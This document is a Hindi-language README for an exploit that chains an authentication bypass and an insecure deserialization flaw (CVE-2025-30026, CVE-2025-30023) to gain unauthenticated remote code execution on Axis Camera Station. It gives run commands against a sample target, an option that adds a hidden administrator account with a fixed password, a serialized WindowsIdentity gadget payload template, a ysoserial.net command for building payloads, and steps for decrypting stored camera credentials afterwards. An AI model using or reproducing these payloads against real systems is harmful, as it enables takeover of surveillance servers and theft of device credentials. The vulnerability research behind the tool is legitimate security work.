
Axis Camera Station (ACS) पर अनधिप्रमाणित RCE, जो CVE‑2025‑30026 (प्रमाणीकरण बायपास) + CVE‑2025‑30023 (असुरक्षित डीसेरियलाइज़ेशन) को श्रृंखलाबद्ध करता है
यह एक्सप्लॉइट Axis Camera Station सॉफ़्टवेयर पर अनधिप्रमाणित RCE प्राप्त करने के लिए CVE‑2025‑30026 (प्रमाणीकरण बायपास) को CVE‑2025‑30023 (असुरक्षित डीसेरियलाइज़ेशन) के साथ श्रृंखलाबद्ध करता है। यह लॉगिन तंत्र को बायपास करता है और दुर्भावनापूर्ण सीरियलाइज़्ड पेलोड वितरित करता है जो मनमानी कमांड निष्पादन को ट्रिगर करते हैं, जिससे हमलावर को लक्ष्य मशीन पर पूर्ण नियंत्रण मिल जाता है।
दोनों भेद्यताएँ 6.9 से पहले के Axis Camera Station Pro संस्करणों और 5.58 से पहले के Axis Camera Station संस्करणों को प्रभावित करती हैं।
यह Claroty के ब्लॉग पोस्ट "Turning Camera Surveillance on its Axis" पर आधारित है, जो प्रोटोकॉल और संबंधित भेद्यताओं का वर्णन करता है।
python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
| फ़्लैग | विवरण |
|---|---|
--host | लक्ष्य IP/होस्ट (आवश्यक). |
--port | लक्ष्य पोर्ट (डिफ़ॉल्ट 55752). |
--key | PEM में क्लाइंट RSA-2048 निजी कुंजी (आवश्यक). |
--json | भेजे जाने वाले Request को शामिल करने वाली स्थानीय JSON फ़ाइल. |
--version | संस्करण जानकारी प्राप्त करने के लिए VersionFacade.get_ProductVersion Request. |
--adduser | उपयोगकर्ता ricardo को पासवर्ड ThisIsIt123 के साथ बनाएं और इसे Administrators समूह में जोड़ें. |
--wait | हैंडशेक के बाद चैनल पर सुनने के लिए सेकंड (डिफ़ॉल्ट 5). |
--listen | Request भेजने के बाद प्रतिक्रिया की प्रतीक्षा करने के लिए सेकंड (डिफ़ॉल्ट 15). |
निर्भरताएँ स्थापित करें और क्लाइंट के लिए PEM प्रारूप में एक RSA निजी कुंजी उत्पन्न करें:
pip install cryptography
openssl genrsa -out client_priv.pem 2048
उत्पाद संस्करण को क्वेरी करें ताकि यह जाँचा जा सके कि संस्करण भेद्य है या नहीं:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

डीसेरियलाइज़ेशन का शोषण करके ThisIsIt123 पासवर्ड वाला एक एडमिनिस्ट्रेटर उपयोगकर्ता ricardo बनाएं:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser


किसी भी कमांड को निष्पादित करने के लिए JSON फ़ाइल से एक कस्टम Request भेजें:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json
Request फ़ाइल प्रारूपएक Request एक JSON ऑब्जेक्ट है जिसमें एकल "Request" कुंजी होती है। डीसेरियलाइज़ेशन का शोषण करने का प्रारूप यह है:
{
"Request": {
"Id": "random123456",
"Service": "SessionFacade",
"Method": "LogOnAsync",
"Parameters": {
"uri": "http://192.168.1.197:55752/",
"clientInformationDto": {
"$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
},
"communicationType": 0,
"ct": "random123456"
}
}
}
clientInformationDto फ़ील्ड का मान Ysoserial.net का उपयोग करके WindowsIdentity जैसे gadget के साथ प्राप्त किया जा सकता है, जो इस भेद्यता का शोषण करने के लिए काफ़ी स्थिर प्रतीत होता है (अन्य gadgets से सेवा क्रैश हो जाती है):
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw
एक बार जब आपके पास Windows मशीन तक पहुँच हो जाती है, तो आपके पास .FDB डेटाबेस तक पहुँच होती है जिनमें विभिन्न डिवाइस से कनेक्ट होने के लिए क्रेडेंशियल होते हैं। ये एक कमज़ोर AES कार्यान्वयन का उपयोग करके एन्क्रिप्ट किए गए हैं, जिसे आप होस्ट के वॉल्यूम सीरियल नंबर का उपयोग करके तुरंत डिक्रिप्ट कर सकते हैं या GPU के साथ कुछ ही मिनटों में ब्रूट-फ़ोर्स कर सकते हैं।
आप इसका शोषण करने के लिए इस रिपॉज़िटरी में दिए गए स्क्रिप्ट का उपयोग कर सकते हैं: CVE-2026-63286।
AXIS Camera Station HTTP के ऊपर एक स्टेटफुल बाइनरी प्रोटोकॉल को रैप करता है। प्रति कनेक्शन एक अनुरोध/प्रतिक्रिया के बजाय, यह दो लंबे समय तक जीवित रहने वाले चैनल खोलता है और कनेक्शन बंद होने तक उन पर फ़्रेम किए गए संदेशों को स्ट्रीम करता है।
| परत | विवरण |
|---|---|
| ट्रांसपोर्ट | पोर्ट 55752 पर HTTP। GET /_/ RX (प्राप्त) चैनल खोलता है; POST /_/<channelID> TX (भेजें) चैनल है, जिसमें प्रत्येक संदेश POST बॉडी में होता है। |
| RX फ़्रेमिंग | HTTP chunked बॉडी; इसके अंदर, नियंत्रण फ़्रेम [uint32 LE length][data] होते हैं। |
| हैंडशेक | दोनों पक्ष एक सार्वजनिक कुंजी का आदान-प्रदान करते हैं, फिर एक यादृच्छिक AES सत्र कुंजी जो दूसरे पक्ष की सार्वजनिक कुंजी से रैप की गई होती है। |
| कुंजी प्रारूप | क्लाइंट अपना X.509 प्रमाणपत्र (base64) भेजता है। AES कुंजी base64(wrapped_key):base64(iv) के रूप में भेजी जाती है। |
| RSA रैप | PKCS#1 v1.5। |
| चैनल | PKCS#7 पैडिंग के साथ AES-256-CBC। सर्वर→क्लाइंट फ़्रेम सर्वर की कुंजी + IV का उपयोग करते हैं। |
| एप्लिकेशन | Axis.Remoting JSON। क्लाइंट पहले HELLO के रूप में अपना ClientId भेजता है, फिर {"Request":{"Id","Service","Method","Parameters"}}। |
RX GET /_/ <- channelID
RX (server pushes) <- server cert (X.509, base64)
RX (server pushes) <- server AES key + IV (wrapped)
TX POST /_/<channelID> -> client cert (X.509, base64)
TX POST /_/<channelID> -> client AES key + IV (wrapped)
TX POST /_/<channelID> -> HELLO (ClientId)
TX POST /_/<channelID> -> encrypted JSON Request
RX (server pushes) <- encrypted JSON Response
Windows 11 पर चल रहे संस्करणों 5.57.27610 और 5.57.33556 पर परीक्षण किया गया।
यदि अस्थिर गैजेट्स या अनुपयुक्त पैरामीटर का उपयोग किया जाए तो डीसेरियलाइज़ेशन हमले सेवा को क्रैश कर सकते हैं, इसलिए हमेशा नियंत्रित वातावरण में परीक्षण करें।
यह स्क्रिप्ट केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए प्रदान की गई है... इसका उपयोग अपने जोखिम पर करें!